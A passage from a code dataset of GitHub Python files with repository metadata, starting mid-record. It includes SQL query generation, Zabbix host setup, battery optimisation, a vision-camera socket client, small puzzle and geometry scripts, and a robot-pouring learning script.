session_obj.proxy_obj.client_conn\n    field_list = cli_con.get_field_list(table_name, wildcard)\n    results = ResultSetText(session_obj.client_capabilities,\n        flags=session_obj.server_status)\n    for colname, coltype, col_max_len, \\\n            field_len, field_max_len, _, _ in field_list:\n        results.add_column(unicode(colname), coltype, field_len)\n    # TODO: server status negoatiation\n    tx_packets = results.columns\n    for i in range(0, len(tx_packets)):\n        tx_packets[i].seq_id = i+1\n    tx_eof = EOFPacket(\n        session_obj.client_capabilities,\n        status_flags=session_obj.server_status,\n        seq_id=len(tx_packets)+1)\n    tx_packets.append(tx_eof)\n    return True\n","repo_name":"spigwitmer/mysqlproxy","sub_path":"mysqlproxy/cli_commands.py","file_name":"cli_commands.py","file_ext":"py","file_size_in_byte":6183,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"2625669414","text":"import copy\nimport itertools\n\n\ndef print_conditions(conditions, seperator):\n    \"\"\"Prints the conditions in a readable format.\"\"\"\n\n    conditions_str = \"\"\n    for condition in conditions:\n        conditions_str += condition + seperator\n\n    conditions_str = conditions_str[:-len(seperator)]\n\n    return conditions_str\n\n\ndef gen_where_formula(conditions, seperator='Λ'):\n    \"\"\"Generates the where formula for a set of conditions.\"\"\"\n\n    where_cond = print_conditions(conditions, seperator=seperator)\n    if where_cond:\n        where_cond = \"WHERE \" + where_cond\n\n    return where_cond\n\n\ndef gen_select_formula(table_set, relationship_set, conditions, seperator='Λ'):\n    \"\"\"Generates the select formula for a set of conditions.\"\"\"\n\n    select_formula = \"\"\n    for table in table_set:\n        select_formula += table + \".*, \"\n\n    select_formula = select_formula[:-2]\n\n    return select_formula\n\n\ndef gen_full_join_query(schema_graph, relationship_set, table_set, join_type):\n    \"\"\"\n    Creates the full outer join to for a relationship set for join_type FULL OUTER JOIN or JOIN\n    \"\"\"\n\n    from_clause = \"\"\n    if len(relationship_set) == 0:\n        assert (len(table_set) == 1)\n\n        from_clause = list(table_set)[0]\n\n    else:\n        included_tables = set()\n        relationships = copy.copy(relationship_set)\n\n        while relationships:\n            # first relation to be included\n            if len(included_tables) == 0:\n                relationship = relationships.pop()\n                relationship_obj = schema_graph.relationship_dictionary[relationship]\n                included_tables.add(relationship_obj.start)\n                included_tables.add(relationship_obj.end)\n                from_clause += relationship_obj.start + \" \" + join_type + \" \" + relationship_obj.end + \" ON \" + relationship\n            else:\n                # search in suitable relations\n                relationship_to_add = None\n                for relationship in relationships:\n                    relationship_obj = schema_graph.relationship_dictionary[relationship]\n                    if (relationship_obj.start in included_tables and relationship_obj.end not in included_tables) or \\\n                            (relationship_obj.end in included_tables and relationship_obj.start not in included_tables):\n                        relationship_to_add = relationship\n                if relationship_to_add is None:\n                    raise ValueError(\"Query not a tree\")\n                # add it to where formula\n                relationship_obj = schema_graph.relationship_dictionary[relationship_to_add]\n                if (relationship_obj.start in included_tables and relationship_obj.end not in included_tables):\n                    from_clause += \" \" + join_type + \" \" + relationship_obj.end + \" ON \" + relationship_to_add\n                    included_tables.add(relationship_obj.end)\n                    relationships.remove(relationship_to_add)\n                elif (relationship_obj.end in included_tables and relationship_obj.start not in included_tables):\n                    from_clause += \" \" + join_type + \" \" + relationship_obj.start + \" ON \" + relationship_to_add\n                    included_tables.add(relationship_obj.start)\n                    relationships.remove(relationship_to_add)\n\n    return \"SELECT {} FROM \" + from_clause + \" {}\"\n\n","repo_name":"einstAI/EinstAIGPT3","sub_path":"AML/Synthetic/EINSTEINAI4DB/deep_rl/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3359,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"20725783679","text":"import argparse\nimport os\nimport sys\nfrom pyzabbix.api import ZabbixAPI, ZabbixAPIException\nfrom snmpsim_creator import SnmpsimCreator\nfrom hosts_creator import HostsCreator\nimport zabbix_cli\n\n\nif __name__ == \"__main__\":\n    # zapi = ZabbixAPI(url='http://localhost/', user='Admin', password='zabbix')\n    \n    # fs = [os.path.splitext('hosts.' + f)[0] for f in os.listdir('./hosts') if f.endswith('.py')]\n    # hosts = {m for m in map(\n    #     importlib.import_module, fs) if hasattr(m, 'create_host')}\n    # for h in hosts:\n    #     try:\n    #         h.create_host(zapi) \n    #     except ZabbixAPIException as err:\n    #         print(err.data)\n\n    # zapi.user.logout()\n\n    zabbix_parser = zabbix_cli.zabbix_default_args()\n    parser = argparse.ArgumentParser(parents=[zabbix_parser], add_help=False)\n    parser.add_argument('--filter', '-f', dest='filter_str',\n                        help=\"imports only files in directory that contain chars in the filenames.\",\n                        required=False, type=str, default='')\n    parser.add_argument(dest='arg1', nargs=1,\n                        help='provide snmpsim data directory name', metavar='path')\n    parser.add_argument('--snmpsim-dns', dest=\"snmpsim_dns\", default=\"snmpsim\",\n                        help=\"DNS address of the snmpsim server. Use 'snmpsim' if inside docker network\",\n                        metavar=\"snmpsim\")\n    parser.add_argument('--snmpsim-ip', dest=\"snmpsim_ip\",\n                        help=\"IP address of the snmpsim server.\",\n                        metavar=\"IP\")\n    parser.add_argument('--snmpsim-port', dest=\"snmpsim_port\", default=\"161\",\n                        help=\"UDP port of the snmpsim server.\",\n                        metavar=\"161\")\n    args = parser.parse_args()\n\n    try:\n        zapi = ZabbixAPI(url=args.api_url,\n                         user=args.username,\n                         password=args.password)\n    except ZabbixAPIException as err:\n        print(err.data)\n\n    else:\n        path = args.arg1[0]\n        if os.path.isdir(path):\n            # snmpsim\n            snmpsim_create = SnmpsimCreator(path, zapi, args.filter_str, args.snmpsim_ip, args.snmpsim_dns, args.snmpsim_port)\n            snmpsim_create.scan_snmpsim_root_dir()\n            \n            hosts_create = HostsCreator(path, zapi, args.filter_str)\n            hosts_create.scan_snmpsim_root_dir()\n        else:\n            sys.exit(\"{0} is not a valid directory\".format(path))\n\n        zapi.do_request('user.logout')\n","repo_name":"v-zhuravlev/zbx_snmpsim","sub_path":"bin/create_hosts.py","file_name":"create_hosts.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"35868805121","text":"from typing import Optional\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pulp as pu\n\n# sys.path.append(os.path.realpath(os.path.join(os.getcwd(), '..')))\n# print(sys.path)\n# from simulation_input import simulation_input\n# from pentagon import bess_degrad_model as degrad_model\n# from pentagon import config\n# from pentagon import pentagon_models as pm\n# from pentagon.util import PreLoadedSensor\n\n# config._K = 96  # horizon in [number of timesteps]\n# from pentagon import hand_written_objects as hwo\n\nfrom src import models\nfrom src.utils_optim import defineLinearCost\n\n\n# Battery data\ncell_chemistry       = 'NMC_newOS'          # 'NMC' or 'NMC_newOS' for the old/new Open Sesame (OS) model\nmax_charge_Crate     = 1    \nmax_disch_Crate      = 2\nbatt_en_capacity     = 5                    # [kWh] (start with 5 kWh in maestro)\nmin_capacity         = 0                    # [kWh] to enforce SoC constraint\nbatt_cost_per_kWh    = 200                  # [CHF/kWh] \ninitial_SoC          = batt_en_capacity/2   # [%] (start with 2.5 kWh in maestro)\ncharging_efficiency  = 0.95                 # One way efficiency\nbattery_eol_sor      = 200                  # [%] Considered end of life for SoR\n\nprice_energy = np.concatenate([0.5*np.ones(5), 0.1*np.ones(5), 0.2*np.ones(5), 0.5*np.ones(5), 0.1*np.ones(4)])\n\n\n# Simulation Set-up\nK_step = 60                                 # duration of one timestep in [min]\ntph = 60 // K_step                          # number of full timesteps per hour (tph)\n\nN_Mc = 10                                   # Number of sub-intervals between Lower and Upper bounds (for PW McCormick)\n\n\ndef run_optim_batt_soh(\n    complex_SoH: Optional[bool] = False, \n    include_SoR: Optional[bool] = False,\n    H: Optional[int] = 24\n    ):\n    '''Run optimization test with battery connected to grid in arbitrage scenario\n\n    Parameters\n    ----------\n    complex_SoH: bool\n        If True, use complex SoH model with PW McCormick relaxation\n    include_SoR: bool\n        If True, include SoR model in optimization\n    H: int\n        Horizon of optimization\n    '''\n    \n\n    bess = models.BatteryWithDegradation(\n            name = 'bess',\n            maximum_charging_power = max_charge_Crate * batt_en_capacity,          # [kW]\n            maximum_discharging_power = max_disch_Crate * batt_en_capacity,        # [kW]\n            state_of_charge = initial_SoC/100*batt_en_capacity,                    # initial capacity [kWh]\n            capacity = batt_en_capacity,                                           # maximal capacity [kWh]\n            min_capacity = min_capacity,                                           # minimal capacity [kWh]\n            charging_efficiency = charging_efficiency,\n            battery_cost = batt_cost_per_kWh*batt_en_capacity,    # [CHF] \n            cell_chemistry = cell_chemistry, \n            initial_soh = 100,                                    # [%]\n            battery_eol_soh = 80,                                 # [%]\n            Mc_for_dod = complex_SoH,\n            N_Mc = N_Mc, \n            Mc_for_soc = complex_SoH,\n            sor_increase = include_SoR, \n            battery_eol_sor = battery_eol_sor,                                 # [%]\n            )\n\n    ## Setup optimization problem (relies on library PuLP for linear programming)\n    problem = pu.LpProblem('ctrl', pu.LpMinimize)\n    bess.createVariables(H, K_step)\n\n    # Creating all constraints on the battery variables\n    bess.setModelConstraints(problem, with_soft = True)\n\n    # Defining optimization cost \n    # Cost for arbitrage\n    cost_arbitrage = defineLinearCost(bess.variables['neg_power'], price_energy) - defineLinearCost(bess.variables['pos_power'], price_energy)\n    # Cosst for battery, including degradation\n    cost_battery = bess.defineObjective(bess.variables, with_soft = True)\n    problem += cost_arbitrage + sum(cost_battery.values())\n    \n    # create the optimization problem\n    gap = 0.00005\n    # Solver: possible to use other solvers\n    solver = pu.apis.PULP_CBC_CMD(msg=0, gapRel=gap, timeLimit = 180)\n    \n    \n    ## Solve the problem \n    problem.solve(solver=solver)\n\n    # Collect results for all variables    \n    bess.retrieveResultsFromVars()\n    # Plot results\n    bess.plotResults()\n    # Optimal value of objective\n    cost = pu.value(problem.objective)\n    print('Cost = ', cost)\n\n    # Status of optimization\n    status = pu.LpSolution[problem.sol_status]\n    print ('Status:', status)\n    if status != 'Optimal Solution Found':\n        print('Time Limit reached!')\n    return cost, gap\n\ndef test_batt_simple_soh():\n    '''Test battery degradation with simple model of SoH, no SoR'''\n    cost, gap = run_optim_batt_soh(True, False)\n    # expected_cost = -1.8486\n    # assert np.isclose(cost, expected_cost, rtol = gap)\n\ndef test_batt_complex_soh():\n    '''Test battery degradation with complex model of SoH, no SoR'''\n    cost, gap = run_optim_batt_soh(True, True)\n    # expected_cost = -1.4932\n    # assert np.isclose(cost, expected_cost, rtol = gap)\n    \ndef test_batt_complex_soh_sor():\n    '''Test battery degradation with complex model of SoH and of SoR'''\n    cost, gap = run_optim_batt_soh(True, True)\n    # expected_cost = -1.3039\n    # assert np.isclose(cost, expected_cost, rtol = gap)\n\nif __name__ == \"__main__\":\n    \n    # test_batt_simple_soh()\n    # test_batt_complex_soh()\n    test_batt_complex_soh_sor()\n    \n    plt.show()","repo_name":"csem/batmaestro","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42587453999","text":"def binarysercg2d(a,l,r,key,rows,cols):\r\n    while (l<=r):\r\n        mid = (l+r)//2\r\n        row = mid/cols\r\n        col = mid%cols\r\n        value = a[row][col]\r\n        if(value ==key):\r\n            return 1\r\n        if(value>key):\r\n            r = mid-1\r\n        else:\r\n            l = mid+1\r\n    return 0            \r\n","repo_name":"hunny123/coding-like-a-hell","sub_path":"binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"232529751","text":"#-*- coding:utf-8 -*-\nimport sys\nfrom threading import *\nfrom socket import *\nfrom PyQt5.QtCore import Qt, pyqtSignal, QObject\nfrom PIL import Image\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES = True\nimport time, datetime, os, sys, io, shutil, time\nfrom datetime import timedelta\nimport struct\n\n\nABR_IMAGE_HEADER_SIZE = 8\nIVU_IMAGE_HEADER_SIZE = 64\n\nclass Signal(QObject):\n    recv_signal = pyqtSignal(str)\n    recv_signalSecond = pyqtSignal(str)\n    recv_image = pyqtSignal(str)\n    # recv_imageDir = pyqtSignal(str)\n    recv_totalCount = pyqtSignal(str)\n    recv_passedCount = pyqtSignal(str)\n    recv_failedCount = pyqtSignal(str)\n    disconn_signal = pyqtSignal()\n\nclass ClientSocket:\n    def __init__(self, parent):\n        self.parent = parent\n        self.recv = Signal()\n        self.recv.recv_signal.connect(self.parent.updateMsg)\n        self.recv.recv_signalSecond.connect(self.parent.updateMsgSecond)\n\n        # self.recv.recv_image.connect(self.parent.updateImg)\n        # self.recv.recv_imageDir.connect(self.parent.updateImgDir)\n        # self.recv.recv_totalCount.connect(self.parent.totalCount)\n        # self.recv.recv_passedCount.connect(self.parent.passedCount)\n        # self.recv.recv_failedCount.connect(self.parent.failedCount)\n\n        self.disconn = Signal()\n        self.disconn.disconn_signal.connect(self.parent.updateDisconnect)\n        self.bConnect = False\n        self.imageData = []\n\n    def __del__(self):\n        self.stop()\n\n    def connectServer(self, ip, port, cmdPort, cameraName, imgSize, productName, cameraBrand, inspectionSensor, dataPort):\n        self.ip = ip\n        self.port = port\n        self.cmdPort = cmdPort\n        self.cameraName = cameraName\n        self.imgSize = imgSize\n        self.dataPort = dataPort\n        self.productName = productName\n        self.client = socket(AF_INET, SOCK_STREAM)\n        self.cameraBrand = cameraBrand\n\n        self.inspectionSensor = inspectionSensor\n        self.inspectionNumber = len(inspectionSensor)\n\n        try:\n            self.client.connect( (ip, port) )\n        except Exception as e:\n            print('Connect Error : ', e)\n            return False\n        else:\n            self.bConnect = True\n            self.t = Thread(target=self.receive, args=(self.client,))\n            self.t.daemon = True\n            self.t.start()\n            print('Connected')\n\n        return True\n\n    def stop(self):\n        self.bConnect = False\n        if hasattr(self, 'client'):\n            self.client.close()\n            del(self.client)\n            print('Client Stop')\n            self.disconn.disconn_signal.emit()\n\n    def receive(self, client):\n        failedCountBuffer = 0\n        failedCountSecondBuffer = 0\n\n        # ivuImageConstSize = 1082998 #77942\n        lenghthBuffer = 0\n\n        while self.bConnect:\n\n            folderDir = './' + self.cameraName\n            dailyDir = makeDirectory(folderDir)\n            productDir = dailyDir + '/' + self.productName\n            if not os.path.isdir(productDir):\n                os.mkdir(productDir)\n\n            removeDt = datetime.datetime.now() - timedelta(days=60)\n            removeFolderDir = folderDir + '/' + removeDt.strftime('%Y-%m')\n            deleteDirectory(removeFolderDir)\n\n            if self.cameraBrand == 'Banner':\n                try:\n                    recv = client.recv(self.imgSize)\n                except Exception as e:\n                    print('Recv() Error :', e)\n                    break\n                else:\n                    ivuImageTotalSize = self.imgSize\n                    lenghthBuffer += len(list(recv))\n\n                    if lenghthBuffer < ivuImageTotalSize :\n                        # lenghthBuffer != 1082998(Color), 77942(Black)\n                        print(\"lenghthBuffer\", lenghthBuffer)\n                        print(\"ivuImageTotalSize\", ivuImageTotalSize)\n                        self.imageData.append(recv)\n\n                    else :\n                        print(\"lenghthBuffer\", lenghthBuffer)\n                        print(\"ivuImageTotalSize\", ivuImageTotalSize)\n                        self.imageData.append(recv)\n\n\n                        # print(\"Done! length!\", lenghthBuffer)\n                        lenghthBuffer = 0\n                        imageDataAll = b''.join(self.imageData)\n                        print(\"len imageDataAll\", len(imageDataAll))\n                        print(\"imageDataAll\", imageDataAll[IVU_IMAGE_HEADER_SIZE:IVU_IMAGE_HEADER_SIZE+40])\n\n                        now = datetime.datetime.now()\n                        try :\n                            image = Image.open(io.BytesIO(imageDataAll[IVU_IMAGE_HEADER_SIZE:]))\n                        except :\n                            print(\"Image open err!\")\n                            lenghthBuffer = 0\n                        else:\n                            print(\"Image open ok\")\n\n                            if self.inspectionNumber == 1 :\n                                totalCount = countSocket(self.ip, self.cmdPort, self.cameraName, 'total')\n                                passedCount = countSocket(self.ip, self.cmdPort, self.cameraName, 'passed')\n                                failedCount = countSocket(self.ip, self.cmdPort, self.cameraName, 'failed')\n                                if failedCountBuffer != int(failedCount.split('/')[0]):\n                                    failedCountBuffer = int(failedCount.split('/')[0])\n                                    imageSaveDir = productDir + '/' + str(now.strftime(\"%H-%M-%S-%f\")) +'.bmp'\n                                else :\n                                    imageSaveDir = dailyDir + '/temp.bmp'\n                                image.save(imageSaveDir)\n                                image.close()\n                                msg = totalCount.split('/')[0] + ',' + passedCount.split('/')[0] + ',' + failedCount.split('/')[0]\n                                self.recv.recv_signal.emit(msg)\n\n                            else:\n                                totalCount = countSocket(self.ip, self.cmdPort, self.cameraName, 'total', self.inspectionSensor[0])\n                                passedCount = countSocket(self.ip, self.cmdPort, self.cameraName, 'passed', self.inspectionSensor[0])\n                                failedCount = countSocket(self.ip, self.cmdPort, self.cameraName, 'failed', self.inspectionSensor[0])\n\n                                totalCountSecond = countSocket(self.ip, self.cmdPort, self.cameraName, 'total', self.inspectionSensor[1])\n                                passedCountSecond = countSocket(self.ip, self.cmdPort, self.cameraName, 'passed', self.inspectionSensor[1])\n                                failedCountSecond = countSocket(self.ip, self.cmdPort, self.cameraName, 'failed', self.inspectionSensor[1])\n\n                                if failedCountBuffer != int(failedCount.split('/')[0])\\\n                                        or failedCountSecondBuffer != int(failedCountSecond.split('/')[0]):\n                                    failedCountBuffer = int(failedCount.split('/')[0])\n                                    failedCountSecondBuffer = int(failedCountSecond.split('/')[0])\n\n                                    imageSaveDir = productDir + '/' + str(now.strftime(\"%H-%M-%S-%f\")) +'.bmp'\n                                else :\n                                    imageSaveDir = dailyDir + '/temp.bmp'\n                                image.save(imageSaveDir)\n                                image.close()\n                                msg = totalCount.split('/')[0] + ',' + passedCount.split('/')[0] + ',' + failedCount.split('/')[0]\n                                self.recv.recv_signal.emit(msg)\n                                msgSecond = totalCountSecond.split('/')[0] + ',' + passedCountSecond.split('/')[0] + ',' + failedCountSecond.split('/')[0]\n                                self.recv.recv_signalSecond.emit(msgSecond)\n                        finally:\n                            self.imageData = []\n            else:\n                try:\n                    recv = client.recv(255)\n                except Exception as e:\n                    print('Recv() Error :', e)\n                    break\n                else:\n                    msg = str(recv, encoding='utf-8')\n                    if msg:\n                        self.recv.recv_signal.emit(msg)\n                        parentPath = os.path.abspath(os.path.join(os.path.dirname(__file__)))\n                        print(parentPath)\n                        imageTempDir = os.path.join(parentPath, 'imageTemp')\n                        time.sleep(1)\n\n                        try:\n                            tempImagefileNames = os.listdir(imageTempDir)\n                            print(tempImagefileNames)\n                            print('here')\n\n                            FileFormat = tempImagefileNames[0].split('.')[-1]\n                        except:\n                            imageTempFileDir = 'noFile'\n                        else:\n                            if FileFormat == 'bmp':\n                                imageTempFileDir = os.path.join(imageTempDir, tempImagefileNames[0])\n                                print(imageTempFileDir)\n                            else:\n                                imageTempFileDir = 'noImg'\n                        finally:\n\n                            if imageTempFileDir == 'noFile':\n                                print(\"카메라에서 저장된 파일이 없습니다.\")\n                            elif imageTempFileDir == 'noImg':\n                                print(\"해당폴더의 저장된 파일의 형식이 bmp 가 아닙니다.\")\n                                os.remove(imageTempFileDir)\n                            else:\n                                oldName = imageTempFileDir\n                                now = datetime.datetime.now()\n                                imageSaveDir = productDir + '/' + str(now.strftime(\"%H-%M-%S-%f\")) + '.bmp'\n                                # print(imageSaveDir)\n                                try:\n                                    os.rename(oldName, imageSaveDir)\n                                except:\n                                    print('image saving error')\n                                else:\n                                    print('image saving scss')\n\n        self.stop()\n        print(\"stop\")\n\n    def send(self, msg):\n        if not self.bConnect:\n            return\n        try:\n            self.client.send(msg.encode())\n        except Exception as e:\n            print('Send() Error : ', e)\n        else:\n            print('Success to send message')\n\n\ndef deleteDirectory(folderDir):\n    if os.path.isdir(folderDir):\n        shutil.rmtree(folderDir)\n\ndef makeDirectory(folderDir):\n    if not os.path.isdir(folderDir):\n        os.mkdir(folderDir)\n    dt = datetime.datetime.now()\n    monthlyDir = folderDir + '/' + dt.strftime('%Y-%m')\n\n    if not os.path.isdir(monthlyDir) :\n        os.mkdir(monthlyDir)\n    dailyDir = monthlyDir + '/' + dt.strftime('%Y-%m-%d')\n    if not os.path.isdir(dailyDir) :\n        os.mkdir(dailyDir)\n    return dailyDir\n\ndef countSocket(ipAddress, port, cameraName, countMode, inspectionSensor=None):\n    if inspectionSensor == None :\n        if countMode == 'total':\n            getHistory = b'get history totalframes\\r\\n'\n        elif countMode == 'passed':\n            getHistory = b'get history passed\\r\\n'\n        elif countMode == 'failed':\n            getHistory = b'get history failed\\r\\n'\n    else:\n        if countMode == 'total':\n            getHistory = ('get history <'+ inspectionSensor + '> ' + 'totalframes\\r\\n').encode('ascii')\n        elif countMode == 'passed':\n            getHistory = ('get history <'+ inspectionSensor + '> ' + 'passed\\r\\n').encode('ascii')\n        elif countMode == 'failed':\n            getHistory = ('get history <'+ inspectionSensor + '> ' + 'failed\\r\\n').encode('ascii')\n\n    print(inspectionSensor, getHistory)\n\n    with socket() as s2:\n        s2.connect((ipAddress, port))\n        s2.sendall(getHistory)\n        data = s2.recv(1024)\n    print('Received', repr(data))\n    count = str(data).split('\\\\r\\\\n')[1] +'/' + cameraName\n    return count\n","repo_name":"dongwoo-john-ku/vision-inspection-sql-procedure","sub_path":"client_backup.py","file_name":"client_backup.py","file_ext":"py","file_size_in_byte":12255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74576942820","text":"import re\nimport glob\n\ndef parse_planner_output_from_file(file_path):\n    with open(file_path, 'r') as file:\n        output = file.read()\n\n    # Extracting Total time\n    total_time_match = re.search(r'Total time: ([\\d.]+)', output)\n    total_time = float(total_time_match.group(1)) if total_time_match else None\n\n    # Extracting Cost\n    cost_match = re.search(r'Plan found with cost: (\\d+)', output)\n    cost = int(cost_match.group(1)) if cost_match else None\n\n    # Extracting Nodes generated during search\n    nodes_generated_match = re.search(r'Nodes generated during search: (\\d+)', output)\n    nodes_generated = int(nodes_generated_match.group(1)) if nodes_generated_match else None\n\n    # Extracting Nodes expanded during search\n    nodes_expanded_match = re.search(r'Nodes expanded during search: (\\d+)', output)\n    nodes_expanded = int(nodes_expanded_match.group(1)) if nodes_expanded_match else None\n\n    return total_time, cost, nodes_generated, nodes_expanded\n\n\nfor i in range(4):\n    file_pattern = f\"Imp*/Plans/*{i}.txt\"\n    file_paths = glob.glob(file_pattern)\n    values = []\n\n    for file_path in file_paths:\n        values.append(parse_planner_output_from_file(file_path))\n\n    print(f\"\"\"\n        \\\\textbf{{Total time}} & {values[0][0]} & {values[1][0]} & {values[2][0]} \\\\\\\\\\\\hline\n        \\\\textbf{{Cost}} & {values[0][1]} & {values[1][1]} & {values[2][1]} \\\\\\\\\\\\hline\n        \\\\textbf{{Nodes generated}} & {values[0][2]} & {values[1][2]} & {values[2][2]} \\\\\\\\\\\\hline\n        \\\\textbf{{Nodes expanded}} & {values[0][3]} & {values[1][3]} & {values[2][3]} \\\\\\\\\\\\hline\n\"\"\")","repo_name":"paul-hernandez99/Waiter-Robot","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30608111881","text":"#\n# File containing code to write logs to file\n#\n#\n\n# Dependencies\nimport os\n\n# Function to write logs to file\ndef writeLogs(path, filename, data):\n    \"\"\"Open file at given path and write data into it.\n\n    Keyword arguments:\n    path -- string\n    filename -- string\n    data -- string\n    \"\"\"\n    # Check if given path exists\n    if not os.path.exists(path):\n        # Create directory for given path\n        os.makedirs(path)\n\n    # Open file\n    file = open(os.path.join(path, filename), \"a\")\n    # Write data to file\n    file.write(data)\n    # Close file\n    file.close()\n","repo_name":"NithishRaja/natural-selection-simulator","sub_path":"ecosystem/writeLogs.py","file_name":"writeLogs.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14546506548","text":"def count_trees(route, right, down):\n    total_trees = 0\n    index = 0\n    index_length = len(route[0]) - 1\n    height = 0\n\n    while height < len(route):\n        if route[height][index] == '#':\n            total_trees += 1\n\n        index += right\n        height += down\n\n        if index > index_length:\n            index -= index_length + 1\n\n    print('Total trees encountered: {}'.format(total_trees))\n    return total_trees\n\n\ndef main():\n    with open('day3input.txt', 'r') as file:\n        path = file.read().splitlines()\n\n    # Part 1\n    print('Part 1')\n    count_trees(path, 3, 1)\n\n    # Part 2\n    print('\\nPart 2')\n\n    r_increments = [1, 3, 5, 7, 1]\n    d_increments = [1, 1, 1, 1, 2]\n    product = 1\n\n    for i in range(len(r_increments)):\n        product *= count_trees(path, r_increments[i], d_increments[i])\n\n    print('Product is {}'.format(product))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"TrueNought/AdventOfCode2020","sub_path":"Day3/Day3.py","file_name":"Day3.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20536628262","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n    Examples for the NURBS-Python Package\n    Released under the MIT License\n    Developed by Onur Rauf Bingol (c) 2018\n\n    This example illustrates the following operations:\n\n    * Generating a control points grid\n    * Generating a B-Spline surface and using the generated grid as its control points input\n    * Splitting the B-Spline surface\n    * Plotting the split surface using Plotly\n\"\"\"\n\n\nfrom geomdl import BSpline\nfrom geomdl import CPGen\nfrom geomdl import utilities\nfrom geomdl import operations\nfrom geomdl.visualization import VisPlotly\n\n# Generate a control points grid\nsurfgrid = CPGen.Grid(50, 100)\n\n# This will generate a 32x32 grid\nsurfgrid.generate(32, 32)\n\n# Generate bumps on the grid\nsurfgrid.bumps(num_bumps=4, all_positive=True, bump_height=45, base_extent=4, base_adjust=1)\n\n# Create a BSpline surface instance\nsurf = BSpline.Surface()\n\n# Set degrees\nsurf.degree_u = 3\nsurf.degree_v = 3\n\n# Get the control points from the generated grid\nsurf.ctrlpts2d = surfgrid.grid\n\n# Set knot vectors\nsurf.knotvector_u = utilities.generate_knot_vector(surf.degree_u, surf.ctrlpts_size_u)\nsurf.knotvector_v = utilities.generate_knot_vector(surf.degree_v, surf.ctrlpts_size_v)\n\n# Split the surface at v = 0.35\nsplit_surf = operations.split_surface_v(surf, 0.35)\n\n# Set sample size of the split surface\nsplit_surf.sample_size = 25\n\n# Generate the visualization component and its configuration\nvis_config = VisPlotly.VisConfig(ctrlpts=False, legend=False)\nvis_comp = VisPlotly.VisSurface(vis_config)\n\n# Set visualization component of the split surface\nsplit_surf.vis = vis_comp\n\n# Plot the split surface\nsplit_surf.render()\n\n# Good to have something here to put a breakpoint\npass\n","repo_name":"orbingol/geomdl-examples","sub_path":"grid/ex_surfgen01.py","file_name":"ex_surfgen01.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":136,"dataset":"github-code","pt":"35"}
{"seq_id":"4897121559","text":"#!/usr/bin/python\nfrom core_tool import *\ndef Help():\n  return '''CMA for grasping and pouring in ODE simulation.\n  Usage: tsim.cma01'''\n\ndef PlanLearnCallback(t,l,sim,context):\n  if context=='infer_grab':\n    #Plan l.config.GripperHeight\n    gh= l.learn_grab.Select()\n    l.config.GripperHeight= gh[0]*l.sensors.p_pour[2]  #Should be in [0,l.sensors.p_pour[2]]\n    l.exec_status= SUCCESS_CODE\n\n  elif context=='infer_pour':\n    #Plan l.p_pour_trg, l.p_pour_trg0, l.theta_init\n    pp= l.learn_ppour.Select()\n    l.p_pour_trg= [l.sensors.x_rcv.position.x+pp[0], 0.0, l.sensors.x_rcv.position.z+pp[1]]\n    l.p_pour_trg0= Vec(l.p_pour_trg)+[0.0,0.0,0.2]\n    l.theta_init= DegToRad(45.0)\n    l.exec_status= SUCCESS_CODE\n\n  elif context=='end_of_flowc_gen':\n    if l.sensors.num_spill>0:\n      CPrint(3,'Failure: num_spill=',l.sensors.num_spill)\n      l.learn_grab.Update(-0.1*l.sensors.num_spill)\n      l.learn_ppour.Update(-0.1*l.sensors.num_spill)\n    else:\n      l.learn_grab.Update(1.0)\n      l.learn_grab.Update(-0.1*l.sensors.num_spill)\n\ndef Run(t,*args):\n  l= TContainer(debug=True)\n  l.planlearn_callback= PlanLearnCallback\n  m_sm= t.LoadMotion('tsim.sm1')\n\n  #Setup learners\n  l.learn_grab= TContOptNoGrad()\n  options= {}\n  options['bounds']= [[0.0],[1.0]]\n  options['tolfun']= 1.0e-4\n  options['scale0']= 0.5\n  options['parameters0']= [0.5]\n  l.learn_grab.Init({'options':options})\n\n  l.learn_ppour= TContOptNoGrad()\n  options= {}\n  options['bounds']= [[-0.2,0.2],[0.2,1.0]]\n  options['tolfun']= 1.0e-4\n  options['scale0']= 0.2\n  options['parameters0']= [-0.1,0.4]\n  l.learn_ppour.Init({'options':options})\n\n  for i in range(1):\n    res= m_sm.PourSM(t,l)\n\n  l= None\n  return res\n","repo_name":"akihikoy/lfd_trick","sub_path":"scripts/motions/tsim/cma01.py","file_name":"cma01.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
